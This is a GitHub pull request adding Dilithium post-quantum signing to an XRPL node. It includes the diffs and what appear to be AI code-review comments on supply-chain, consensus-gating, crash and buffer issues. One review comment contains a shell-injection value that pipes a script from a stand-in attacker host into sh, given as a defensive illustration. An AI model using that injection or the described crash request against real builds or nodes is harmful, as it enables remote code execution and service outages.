Skip to content

[ALPHANET] Quantum #27

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
dangell7 wants to merge 3 commits into
base: develop
Choose a base branch
from
Open

[ALPHANET] Quantum #27

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
8d321e4
xls-quantum
dangell7 May 20, 2026
a86ea44
fix bugs
dangell7 May 20, 2026
07a31ee
Merge develop into dilithium-full
dangell7 Jul 9, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CMakeLists.txt
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -82,6 +82,7 @@ if(only_docs)
return()
endif()

include(deps/dilithium)

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The dilithium library is fetched from https://github.com/Transia-RnD/dilithium.git, a private Transia-RnD fork of the NIST reference implementation, with no content integrity verification — no URL_HASH SHA256 or equivalent. Only a git commit SHA pins the dependency, which provides no protection if the fork repository is force-pushed, if the GitHub account is compromised, or if the CI environment DNS-spoofs the host. This library is linked unconditionally into xrpl_libs, making it a hard dependency of every rippled node's post-quantum key generation and signing path — a supply-chain compromise silently backdoors all Dilithium validator key material across every build. Replace the GIT_REPOSITORY fetch with a URL pointing to a pinned release tarball from the upstream pq-crystals/dilithium reference repository, combined with URL_HASH SHA256=<hash> verification, or vendor the code as a reviewed git submodule.

Suggested fix

Use FetchContent or ExternalProject_Add with a pinned tarball URL from the upstream pq-crystals/dilithium official repository and a URL_HASH SHA256=... computed out-of-band against that specific release. Alternatively, vendor the code as a git submodule with the commit pinned in .gitmodules so every clone has an auditable history. Add a post-build KAT step to verify the compiled artifact produces correct known-answer test outputs before linking it into xrpl_libs.

include(deps/Boost)

add_subdirectory(external/antithesis-sdk)
Expand Down
1 change: 1 addition & 0 deletions cmake/XrplCore.cmake
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,7 @@ target_link_libraries(
Xrpl::opts
Xrpl::syslibs
secp256k1::secp256k1
NIH::dilithium2_ref

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Dilithium library is compiled with -DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING via raw CFLAGS inside the ExternalProject_Add build command, but these definitions are never propagated to CMake consumers via target_compile_definitions(... INTERFACE ...) on dilithium::dilithium2_ref. Adding NIH::dilithium2_ref to xrpl.imports.main as INTERFACE places the Dilithium ref/ headers on every downstream target's include path without the matching compile definitions — any translation unit that includes params.h without DILITHIUM_MODE=2 sees the Mode 3 defaults (CRYPTO_PUBLICKEYBYTES=1952, CRYPTO_SECRETKEYBYTES=4000), while the compiled archive only produces 1312-byte keys; the #ifndef CRYPTO_PUBLICKEYBYTES fallback guards in SecretKey.cpp and PublicKey.cpp are dead because params.h is explicitly #included first and defines the macro unconditionally. The fix is to add target_compile_definitions(dilithium::dilithium2_ref INTERFACE DILITHIUM_MODE=2 DILITHIUM_RANDOMIZED_SIGNING) in cmake/deps/dilithium.cmake and add a static_assert(CRYPTO_PUBLICKEYBYTES == 1312) guard at each Dilithium inclusion site.

Suggested fix

In cmake/deps/dilithium.cmake, after set_target_properties(dilithium::dilithium2_ref ...), add: target_compile_definitions(dilithium::dilithium2_ref INTERFACE DILITHIUM_MODE=2 DILITHIUM_RANDOMIZED_SIGNING). Add static_assert(CRYPTO_PUBLICKEYBYTES == 1312 && CRYPTO_SECRETKEYBYTES == 2528) in SecretKey.cpp and PublicKey.cpp immediately after the Dilithium headers are included to catch any future mode drift at compile time.

xrpl.libpb
xxHash::xxhash
$<$<BOOL:${voidstar}>:antithesis-sdk-cpp>
Expand Down
62 changes: 62 additions & 0 deletions cmake/deps/dilithium.cmake
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
include(FetchContent)

ExternalProject_Add(
dilithium_src
PREFIX ${nih_cache_path}

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 8, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The file opens with include(FetchContent) but never calls a single FetchContent_* function — it uses ExternalProject_Add throughout, which is provided by the ExternalProject module, not FetchContent. These are completely separate CMake modules with different lifecycle semantics (FetchContent populates at configure time; ExternalProject builds at build time). The file works today only because CMakeLists.txt happens to include(ExternalProject) at line 51 before reaching this file at line 83 — a fragile implicit dependency on include ordering. Any reuse of this file in a different context, or any reordering of includes in CMakeLists.txt, would produce 'Unknown CMake command ExternalProject_Add'.

Suggested fix

Define nih_cache_path before this file is included — e.g., set(nih_cache_path "${CMAKE_BINARY_DIR}/nih_c") in CMakeLists.txt following the pattern used by upstream rippled for other external dependencies, or replace the reference with a concrete path variable that actually exists in the build graph.

# Pin to an explicit commit, not a moving branch ref. Bumping this SHA
# is a supply-chain decision that must be reviewed; never revert to a
# branch tag here. Upstream:
# https://github.com/Transia-RnD/dilithium/commit/3032292cfd4d94e0df9bd49a0098669ca9166aa1
GIT_REPOSITORY https://github.com/Transia-RnD/dilithium.git
GIT_TAG 3032292cfd4d94e0df9bd49a0098669ca9166aa1
GIT_SHALLOW FALSE
CONFIGURE_COMMAND ""
LOG_BUILD ON
BUILD_IN_SOURCE 0
BUILD_COMMAND
COMMAND ${CMAKE_COMMAND} -E copy_directory <SOURCE_DIR>/ref <BINARY_DIR>/ref
COMMAND make -C <BINARY_DIR>/ref clean
COMMAND /bin/sh -c "CFLAGS='-DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING' make -C <BINARY_DIR>/ref libdilithium2_ref.a libfips202_ref.a"

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The BUILD_COMMAND assigns CFLAGS via CFLAGS='...' — a bare environment-variable assignment — containing only the two preprocessor defines. This clobbers any inherited flags before invoking make, so the Dilithium reference library is compiled without rippled's own -fstack-protector (set via XrplCompiler.cmake on the common INTERFACE) or CMake's -fPIC (from CMAKE_POSITION_INDEPENDENT_CODE=ON), nor would sanitizer flags from the conan/profiles/sanitizers profile ever reach it. Because verifyDigest() in PublicKey.cpp passes peer-supplied signature bytes directly into this library and it ships inside the final xrpld binary, any latent buffer-handling bug in the reference implementation lacks the stack-canary protection that every other rippled translation unit receives. Append the parent flags rather than replacing them: CFLAGS='${CMAKE_C_FLAGS} -DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING'.

Suggested fix

Change the CFLAGS assignment to CFLAGS='${CMAKE_C_FLAGS} -DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING' inside the /bin/sh -c invocation, and also pass -fstack-protector explicitly if CMAKE_C_FLAGS does not include it in all build configurations. This ensures the Dilithium build inherits the same stack protection and PIC/PIC settings as the rest of rippled.

INSTALL_COMMAND ""
BUILD_BYPRODUCTS
<BINARY_DIR>/ref/libdilithium2_ref.a

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 8, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The build step wraps make inside /bin/sh -c "... make -C <BINARY_DIR>/ref ...", placing the CMake-expanded <BINARY_DIR> directly inside a double-quoted shell string. <BINARY_DIR> is derived from PREFIX ${nih_cache_path}, and nih_cache_path is undefined everywhere in the repository — making it silently -D-settable at cmake configure time. A cmake invocation with -Dnih_cache_path='$(curl attacker.com/payload.sh|sh) #' causes CMake to compose a <BINARY_DIR> path containing the injected content, which the shell then evaluates. The /bin/sh -c wrapper is unnecessary: replace it with COMMAND ${CMAKE_COMMAND} -E env "CFLAGS=-DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING" make -C <BINARY_DIR>/ref libdilithium2_ref.a libfips202_ref.a, which is injection-free because CMake handles the argument list without a shell.

Suggested fix

Eliminate the /bin/sh -c wrapper. Use: BUILD_COMMAND COMMAND ${CMAKE_COMMAND} -E env "CFLAGS=-DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING" make -C <BINARY_DIR>/ref clean COMMAND ${CMAKE_COMMAND} -E env "CFLAGS=-DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING" make -C <BINARY_DIR>/ref libdilithium2_ref.a libfips202_ref.a. This passes arguments directly to the build tool without shell interpolation.

<BINARY_DIR>/ref/libfips202_ref.a
)

ExternalProject_Get_Property(dilithium_src SOURCE_DIR BINARY_DIR)
set(dilithium_src_SOURCE_DIR "${SOURCE_DIR}")
set(dilithium_src_BINARY_DIR "${BINARY_DIR}")

# Include the reference implementation headers from source
include_directories("${dilithium_src_SOURCE_DIR}/ref")

# Create imported targets for each static library using BINARY_DIR
add_library(dilithium::dilithium2_ref STATIC IMPORTED GLOBAL)
set_target_properties(dilithium::dilithium2_ref PROPERTIES
IMPORTED_LOCATION "${dilithium_src_BINARY_DIR}/ref/libdilithium2_ref.a"
INTERFACE_INCLUDE_DIRECTORIES "${dilithium_src_SOURCE_DIR}/ref/"
)

add_library(dilithium::libfips202_ref STATIC IMPORTED GLOBAL)
set_target_properties(dilithium::libfips202_ref PROPERTIES
IMPORTED_LOCATION "${dilithium_src_BINARY_DIR}/ref/libfips202_ref.a"
INTERFACE_INCLUDE_DIRECTORIES "${dilithium_src_SOURCE_DIR}/ref/"
)

# Add dependencies to ensure the external project is built first
add_dependencies(dilithium::dilithium2_ref dilithium_src)
add_dependencies(dilithium::libfips202_ref dilithium_src)

# Note: We do NOT link the Dilithium library's randombytes.c because we provide

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 8, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment asserting that randombytes.c is not linked from Dilithium is unsupported by any actual build-system enforcement: no PATCH_COMMAND, no ar d randombytes.o, and no linker flag exists anywhere in the cmake tree to exclude that object. The upstream Makefile compiles randombytes.c into libdilithium2_ref.a by default, meaning both definitions of randombytes are present at final link time. Whether SecretKey.cpp's crypto_prng()-backed version wins over the library's direct /dev/urandom reader depends on emergent linker behavior — object-file order, whether xrpl.libxrpl is static or shared, and LTO settings — none of which are stable across toolchains or build types. Add an explicit COMMAND ${CMAKE_AR} d <BINARY_DIR>/ref/libdilithium2_ref.a randombytes.o post-build step, or apply a PATCH_COMMAND to remove randombytes.c from the upstream Makefile's SOURCES, and add a CI check that verifies the symbol is absent from the archive.

Suggested fix

Add a post-build ar command to strip the symbol from the archive: COMMAND ${CMAKE_AR} d <BINARY_DIR>/ref/libdilithium2_ref.a randombytes.o. Alternatively, apply a PATCH_COMMAND that edits the upstream Makefile to exclude randombytes.c from SOURCES before compilation. In either case, add a CI step that runs nm -A libdilithium2_ref.a | grep -c randombytes and asserts the count is 0.

# our own thread-safe implementation in src/libxrpl/protocol/SecretKey.cpp
# that uses xrpld's crypto_prng() instead of direct /dev/urandom access.

# Create an interface library that links to the Dilithium libraries
# Note: Link order matters - libraries that provide symbols must come AFTER libraries that use them
target_link_libraries(xrpl_libs INTERFACE
dilithium::dilithium2_ref
dilithium::libfips202_ref
)

# Create alias for convenience
add_library(NIH::dilithium2_ref ALIAS dilithium::dilithium2_ref)
1 change: 1 addition & 0 deletions include/xrpl/config/Constants.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,7 @@ struct Sections
static constexpr auto kValidationSeed = "validation_seed";
static constexpr auto kValidatorKeys = "validator_keys";
static constexpr auto kValidatorKeyRevocation = "validator_key_revocation";
static constexpr auto kValidatorKeyType = "validator_key_type";
static constexpr auto kValidatorListKeys = "validator_list_keys";
static constexpr auto kValidatorListSites = "validator_list_sites";
static constexpr auto kValidatorListThreshold = "validator_list_threshold";
Expand Down
7 changes: 7 additions & 0 deletions include/xrpl/protocol/KeyType.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ namespace xrpl {
enum class KeyType {
Secp256k1 = 0,
Ed25519 = 1,
Dilithium = 2,

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The featureQuantum amendment is declared in features.macro but has zero references anywhere in the production codebase — no view.rules().enabled(featureQuantum) guard exists in transaction signing, manifest parsing, peer handshake verification, or consensus validation. Adding KeyType::Dilithium as a parseable and recognized type makes Dilithium acceptance unconditionally active on every network: a peer submitting a transaction with a 1312-byte Dilithium public key, a validator manifest signed with a Dilithium master key, or a Dilithium-signed consensus proposal will be cryptographically verified and accepted by any node running this build, regardless of whether the amendment has been voted in. Unpatched nodes will reject the same data, causing irreconcilable ledger divergence.

Suggested fix

Wire every Dilithium acceptance point to view.rules().enabled(featureQuantum) before this key type is exposed. Required gate locations: publicKeyType() in PublicKey.cpp, Transactor::checkSign(), manifest deserialization in Manifest.cpp, peer handshake in Handshake.cpp, and STValidation signature verification. Until those gates are in place, keyTypeFromString must not return KeyType::Dilithium on production builds.

};

inline std::optional<KeyType>
Expand All @@ -19,6 +20,9 @@ keyTypeFromString(std::string const& s)
if (s == "ed25519")
return KeyType::Ed25519;

if (s == "dilithium")

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Adding 'dilithium' as a parseable key_type string creates a remote process-termination vulnerability. channel_authorize is a publicly accessible RPC method (Role::USER) that routes key_type through keyTypeFromString into keypairForSignature, which calls logicError — implemented as std::abort() — when it encounters KeyType::Dilithium, because its allowlist is still restricted to Secp256k1 and Ed25519. Before this diff, keyTypeFromString('dilithium') returned an empty optional, causing keypairForSignature to return a proper RPC error response; now it returns KeyType::Dilithium, which passes the early parse check and reaches the fatal assertion. Any unauthenticated client can crash a publicly-reachable rippled node with a single JSON-RPC request.

Suggested fix

Do not add 'dilithium' to keyTypeFromString until all consumers — specifically keypairForSignature in RPCHelpers.cpp — are updated to handle it as a user-facing error rather than a logic invariant violation. In the interim, change the guard at RPCHelpers.cpp:338 to return an RPC error code instead of calling logicError for key types it does not yet support.

return KeyType::Dilithium;

return {};
}

Expand All @@ -31,6 +35,9 @@ to_string(KeyType type)
if (type == KeyType::Ed25519)
return "ed25519";

if (type == KeyType::Dilithium)
return "dilithium";

return "INVALID";
}

Expand Down
25 changes: 15 additions & 10 deletions include/xrpl/protocol/PublicKey.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -35,10 +35,11 @@ namespace xrpl {
information needed to determine the cryptosystem
parameters used is stored inside the key.

As of this writing two systems are supported:
As of this writing three systems are supported:

secp256k1
ed25519
dilithium

secp256k1 public keys consist of a 33 byte
compressed public key, with the lead byte equal
Expand All @@ -47,14 +48,18 @@ namespace xrpl {
The ed25519 public keys consist of a 1 byte
prefix constant 0xED, followed by 32 bytes of
public key data.

The dilithium public keys will have their own specific format.
*/
class PublicKey
{
protected:
// All the constructed public keys are valid, non-empty and contain 33
// bytes of data.
// Minimum / standard public key size (secp256k1, ed25519).
static constexpr std::size_t kSize = 33;
std::uint8_t buf_[kSize]{}; // should be large enough
// Buffer sized for the largest supported key (dilithium = 1312 bytes).
// Actual length is tracked in size_.
std::uint8_t buf_[1312]{};

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The constructor lower-bounds slice.size() against kSize (33) but has no upper-bound check against sizeof(buf_) (1312) before the unconditional std::memcpy(buf_, slice.data(), size_). Safety today depends entirely on publicKeyType only recognising slices of exactly 33 or 1312 bytes; the memcpy itself has no independent guard. If a future post-quantum variant (e.g. Dilithium3 at 1952 bytes) is added to publicKeyType without also expanding buf_, the copy silently overflows the stack buffer, corrupting adjacent frames. The fix is a single explicit guard inserted before the memcpy: if (slice.size() > sizeof(buf_)) logicError("PublicKey::PublicKey - Input slice exceeds buffer");.

Suggested fix

In PublicKey.cpp, add if (slice.size() > sizeof(buf_)) logicError("PublicKey::PublicKey - Input slice exceeds buffer"); immediately after the existing lower-bound check and before the publicKeyType() call. This makes the safety invariant explicit and locally enforced rather than depending on publicKeyType() remaining the sole gatekeeper.

std::size_t size_ = 0;

public:
using const_iterator = std::uint8_t const*;
Expand All @@ -79,10 +84,10 @@ class PublicKey
return buf_;
}

static std::size_t
size() noexcept
[[nodiscard]] std::size_t
size() const noexcept
{
return kSize;
return size_;
}

[[nodiscard]] const_iterator
Expand All @@ -100,19 +105,19 @@ class PublicKey
[[nodiscard]] const_iterator
end() const noexcept
{
return buf_ + kSize;
return buf_ + size_;
}

[[nodiscard]] const_iterator
cend() const noexcept
{
return buf_ + kSize;
return buf_ + size_;
}

[[nodiscard]] Slice
slice() const noexcept
{
return {buf_, kSize};
return {buf_, size_};
}

operator Slice() const noexcept
Expand Down
17 changes: 13 additions & 4 deletions include/xrpl/protocol/STValidation.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -166,7 +166,13 @@ STValidation::STValidation(SerialIter& sit, LookupNodeID&& lookupNodeID, bool ch
, signingPubKey_([this]() {

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The diff comment explicitly describes this as a 'pre-amendment / post-amendment' change, yet the Quantum amendment declared in features.macro is a dead symbol — featureQuantum is never referenced anywhere in the codebase. Both constructors, isValid(), PeerImp::checkValidation, PeerImp::onMessage(TMValidation), and handleNewValidation in RCLValidations.cpp all accept Dilithium-signed validations unconditionally, with no rules().enabled(featureQuantum) gate anywhere in the chain. This means the Dilithium upgrade is not coordinated through XRPL's amendment mechanism at all: the moment a validator switches to a Dilithium key, its validations are accepted and counted toward consensus by all upgraded peers regardless of whether the network has voted in the Quantum amendment. Either wire up featureQuantum checks in the validation acceptance path (or document explicitly that the upgrade is intentionally ungated at the consensus layer), and remove the misleading 'post-amendment' language from the comments.

Suggested fix

Either (a) generate the featureQuantum symbol from features.macro and add rules().enabled(featureQuantum) gates in the deserialization constructor and/or in PeerImp::checkValidation / handleNewValidation before counting Dilithium validations toward consensus, or (b) remove the Quantum entry from features.macro and update the comments to accurately reflect that Dilithium support is a wire-protocol-level change not gated by an amendment.

auto const spk = getFieldVL(sfSigningPubKey);

if (publicKeyType(makeSlice(spk)) != KeyType::Secp256k1)
// Validations are signed with either the legacy secp256k1 key
// (pre-amendment) or the new dilithium key (post-amendment). Mixed
// sets are expected during the rolling upgrade. Ed25519 has never
// been valid for validations and is still rejected. verifyDigest()
// dispatches per keytype.
auto const kt = publicKeyType(makeSlice(spk));

@sentinel-ai-reviewer sentinel-ai-reviewer Bot Jul 9, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment added here explicitly frames Dilithium acceptance as a post-amendment behavior during a rolling upgrade, but featureQuantum — declared in features.macro with VoteBehavior::DefaultNo — is never consulted anywhere in the codebase (zero references in src/). Upgraded nodes unconditionally accept and relay Dilithium-keyed validations from peers the moment this code ships, regardless of whether the Quantum amendment has activated across the network. During a mixed deployment, a validator that switches to a Dilithium key before the amendment clears the required support threshold will have its votes counted by upgraded nodes but discarded as unparseable by non-upgraded nodes, creating divergent trusted-validator-set views that can contribute to a consensus split without any formal network vote. The fix belongs at the deserialization call site in PeerImp::onMessage(TMValidation): check that featureQuantum is active in the current ledger before constructing an STValidation from a peer message carrying a Dilithium-sized signing key.

Suggested fix

Gate Dilithium validation acceptance on featureQuantum activation. Since the deserialization constructor has no access to ledger rules, add the check at the call site in PeerImp::onMessage(TMValidation) before constructing the STValidation object: if the raw signing public key field is 1312 bytes (Dilithium) and featureQuantum is not yet active in the current ledger, discard the message and charge the peer a fee as with any other malformed message. Alternatively, pass a std::optional<Rules> into the constructor and reject KeyType::Dilithium when the amendment is absent. featureQuantum is already declared — it just needs to be wired into the enforcement path.

if (kt != KeyType::Secp256k1 && kt != KeyType::Dilithium)
Throw<std::runtime_error>("Invalid public key in validation");

return PublicKey{makeSlice(spk)};
Expand Down Expand Up @@ -208,9 +214,12 @@ STValidation::STValidation(
"xrpl::STValidation::STValidation(PublicKey, SecretKey) : nonzero "
"node");

// First, set our own public key:
if (publicKeyType(pk) != KeyType::Secp256k1)
logicError("We can only use secp256k1 keys for signing validations");
// First, set our own public key. Only secp256k1 (legacy) and dilithium
// (post-quantum) are valid for signing validations; Ed25519 has never
// been supported here.
if (auto const kt = publicKeyType(pk);
kt != KeyType::Secp256k1 && kt != KeyType::Dilithium)
logicError("Validation signing requires secp256k1 or dilithium key");

setFieldVL(sfSigningPubKey, pk.slice());
setFieldU32(sfSigningTime, signTime.time_since_epoch().count());
Expand Down
16 changes: 12 additions & 4 deletions include/xrpl/protocol/SecretKey.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,10 @@ class SecretKey
static constexpr std::size_t kSize = 32;

private:
std::uint8_t buf_[kSize]{};
// Dilithium secret keys are 2528 bytes; ed25519/secp256k1 are 32.
// Buffer sized for the largest supported key; actual length in size_.
std::uint8_t buf_[2560]{};
std::size_t size_ = 0;

public:
using const_iterator = std::uint8_t const*;
Expand All @@ -42,6 +45,7 @@ class SecretKey
~SecretKey();

SecretKey(std::array<std::uint8_t, kSize> const& data);
SecretKey(std::array<std::uint8_t, 2560> const& data);
SecretKey(Slice const& slice);

[[nodiscard]] std::uint8_t const*
Expand All @@ -53,7 +57,7 @@ class SecretKey
[[nodiscard]] std::size_t
size() const
{
return sizeof(buf_);
return size_;
}

/** Convert the secret key to a hexadecimal string.
Expand All @@ -79,13 +83,13 @@ class SecretKey
[[nodiscard]] const_iterator
end() const noexcept
{
return buf_ + sizeof(buf_);
return buf_ + size_;
}

[[nodiscard]] const_iterator
cend() const noexcept
{
return buf_ + sizeof(buf_);
return buf_ + size_;
}
};

Expand All @@ -112,6 +116,10 @@ toBase58(TokenType type, SecretKey const& sk)
SecretKey
randomSecretKey();

/** Create a secret key using secure random numbers. */
SecretKey
randomSecretKey(KeyType type);

/** Generate a new secret key deterministically. */
SecretKey
generateSecretKey(KeyType type, Seed const& seed);
Expand Down
1 change: 1 addition & 0 deletions include/xrpl/protocol/detail/features.macro
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@
// Add new amendments to the top of this list.
// Keep it sorted in reverse chronological order.

XRPL_FEATURE(Quantum, Supported::Yes, VoteBehavior::DefaultNo)
XRPL_FEATURE(BatchV1_1, Supported::Yes, VoteBehavior::DefaultNo)
XRPL_FEATURE(LendingProtocolV1_1, Supported::No, VoteBehavior::DefaultNo)
XRPL_FEATURE(ConfidentialTransfer, Supported::Yes, VoteBehavior::DefaultNo)
Expand Down
2 changes: 1 addition & 1 deletion include/xrpl/server/Manifest.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -330,7 +330,7 @@ class ManifestCache

@param m Manifest to add

@return `ManifestDisposition::accepted` if successful, or
@return `ManifestDisposition::Accepted` if successful, or
`stale` or `invalid` otherwise

@par Thread Safety
Expand Down
Loading